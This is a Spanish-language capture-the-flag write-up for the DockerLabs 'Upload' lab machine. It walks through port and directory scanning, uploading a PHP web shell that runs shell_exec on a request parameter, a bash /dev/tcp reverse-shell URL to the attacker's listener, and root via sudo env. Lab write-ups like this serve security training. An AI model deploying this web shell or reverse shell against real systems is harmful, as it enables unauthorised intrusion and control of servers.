> For the complete documentation index, see [llms.txt](https://wolder-hackverse.gitbook.io/wolders-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wolder-hackverse.gitbook.io/wolders-docs/writeups/dockerlabs/easy/upload.md).

# Upload

**Dificultad: Fácil**

## WriteUP

### Fase 1: Reconocimiento

Empezamos escaneando todos los puertos:

```bash
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG nmap/escaneo.txt
```

```bash
extractPorts escaneo.txt
```

<div align="left"><figure><img src="/files/dkNlQUY67HxL6hpVzh3u" alt=""><figcaption></figcaption></figure></div>

Vemos que tiene el puerto 80 abierto Con lo cual escaneamos el puerto

```bash
sudo nmap -p80 -sCV 172.17.0.2 -oN targeted
```

<div align="left"><figure><img src="/files/ZnHa7XR2ZvaUWqyGZsBe" alt=""><figcaption></figcaption></figure></div>

Obtendremos varia información que podremos buscar por el nombre de paquete haber que versión de linux/ubuntu esta corriendo:

Buscando launchpad httpd 2.4.52 en google encontramos esto:

<div align="left"><figure><img src="/files/DKC3Rrzc2F4yqsP9j4nC" alt=""><figcaption><p>Nos enfrentamos a un (Ubuntu Jammy 22.0.4)</p></figcaption></figure></div>

### Fase 2: Enumeración de la web

Hacemos un escaneo de directorios mas populares dentro de la web con gobuster:

```bash
sudo gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img -t 200 -fc 500


===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Cookies:                 500
[+] User Agent:              gobuster/3.6
[+] Extensions:              img,php,doc,html,txt
[+] Add Slash:               true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php/                (Status: 403) [Size: 275]
/icons/               (Status: 403) [Size: 275]
/uploads/             (Status: 200) [Size: 1371]
/upload.php/          (Status: 200) [Size: 1358]
/.html/               (Status: 403) [Size: 275]
```

En el escaneo detectamos que hay un archivo upload.php y una carpeta de uploads

### Fase 3 : Exploración de rutas

Archivo upload.php:

<div align="left"><figure><img src="/files/0bpUQN8Bp0WeVzdzBhGy" alt=""><figcaption></figcaption></figure></div>

Carpeta uploads:

<div align="left"><figure><img src="/files/se8vNBIZ5c7qj2NuAnAd" alt=""><figcaption></figcaption></figure></div>

Podemos subir un archivo php de ejemplo para detectar si el sistema interpreta php

```bash
<?php echo "Hola"; ?>
```

Subimos el archivo en la web, accedemos al directorio de uploads y verificamos que nos muestra hola en la web, si nos lo mostrará es que el servidor interpreta php

<div align="left"><figure><img src="/files/9Nw1b2x4VcDgYSDHQinh" alt=""><figcaption></figcaption></figure></div>

En este caso si , entonces ya podemos ir con la siguiente fase

### Fase 4: Intrusión

Preparamos un archivito Donde podremos ejecutar comandos dentro de la máquina victima

```bash
<?php
    echo "<pre>" . shell_exec($_REQUEST['parameter']) . "</pre>";
?>
```

<div align="left"><figure><img src="/files/7gax2umgrAXqcNXXhq32" alt=""><figcaption></figcaption></figure></div>

Con este fichero PHP podemos enviarnos una reverse Shell a nuestra terminal para acabar obteniendo el control del sistema A continuación voy a mostrar como se hace:

Subimos el fichero parameter.php en la web:

<div align="left"><figure><img src="/files/dW5rKwgPSidX4xiFc0YC" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/dYEZGxpg4ZXRRKmDKJYx" alt=""><figcaption></figcaption></figure>

Vamos al directorio de uploads

<div align="left"><figure><img src="/files/SQ2mPSRvfmpgQjAfrI0V" alt=""><figcaption></figcaption></figure></div>

Nos ponemos en escucha en el puerto 4321 (podría ser el puerto 5012 también o el que sea) .

<div align="left"><figure><img src="/files/qCwUQLNP7JBFnL3Qx0zE" alt=""><figcaption></figcaption></figure></div>

tenemos que poner esto en la web para que nos envié la shell a nuestra terminal que esta en escucha por el puerto 4321

<figure><img src="/files/NTNH55Yizytqvrs8TI9H" alt=""><figcaption></figcaption></figure>

```bash
http://172.17.0.2/parameter.php?parameter=bash -c "bash -i >%26 /dev/tcp/172.17.0.1/4321 0>%261"
```

<figure><img src="/files/2p2Zo6hqPlxHZIYqbqcL" alt=""><figcaption></figcaption></figure>

### Fase 5: Explotación del sistema

Buscamos capacidades de sudo y encontramos esto:

```
sudo -l 
```

<figure><img src="/files/ikdCJZy356SbhWG8253z" alt=""><figcaption></figcaption></figure>

### Fase 6: Escalada de privilegios

Vemos que tiene habilitado poder ejecutar env en modo root Si vamos a <https://gtfobins.github.io> y buscamos env encontraremos esta información:

<figure><img src="/files/3ZbqmrSRbbK1Ndss7Wz8" alt=""><figcaption></figcaption></figure>

Exactamente ponemos lo mismo que nos sale:

<div align="left"><figure><img src="/files/jcWdSMbMfZtOkPp6gERb" alt=""><figcaption></figcaption></figure></div>

Y con esto ya somos root.
